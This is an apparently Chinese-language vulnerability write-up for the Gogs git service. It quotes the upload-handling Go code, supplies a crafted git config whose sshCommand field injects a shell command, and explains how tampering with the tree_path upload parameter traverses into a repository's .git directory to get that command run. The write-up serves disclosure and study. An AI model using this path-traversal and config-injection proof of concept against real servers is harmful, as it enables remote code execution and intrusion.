正文
internal/db/repo_editor.go#L490-L495

func isRepositoryGitPath(path string) bool {
    return strings.HasSuffix(path, ".git") || strings.Contains(path, ".git"+string(os.PathSeparator))
}
 
func (repo *Repository) UploadRepoFiles(doer *User, opts UploadRepoFileOptions) (err error) {
...
// Copy uploaded files into repository
    for _, upload := range uploads {
        tmpPath := upload.LocalPath()
        if !osutil.IsFile(tmpPath) {
            continue
        }
 
        // Prevent copying files into .git directory, see https://gogs.io/gogs/issues/5558.
        // 这里做了修复,判断了是否含有.git
        if isRepositoryGitPath(upload.Name) {
            continue
        }
 
        targetPath := path.Join(dirPath, upload.Name)
        if err = com.Copy(tmpPath, targetPath); err != nil {
            return fmt.Errorf("copy: %v", err)
        }
    }
...
 
}

本地创建一个文件名为config

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = true
    sshCommand = echo pwnned > /tmp/poc
[remote "origin"]
    url = git@github.com:torvalds/linux.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
    remote = origin
    merge = refs/heads/master

然后再gogs的web页面新建一个repo,然后本地随便初始化一个git同步上去
然后上传文件,上传的时候抓包,修改tree_path=/.git/
漏洞形成的原因是因为没有对tree_path进行验证,导致可以目录穿越,覆盖到repo的.git文件夹



参考链接
https://github.com/gogs/gogs
https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902/
https://github.com/gogs/gogs/blob/3e353717540950a1459b3da7f28cc50df4a52119/internal/db/repo_editor.go#L450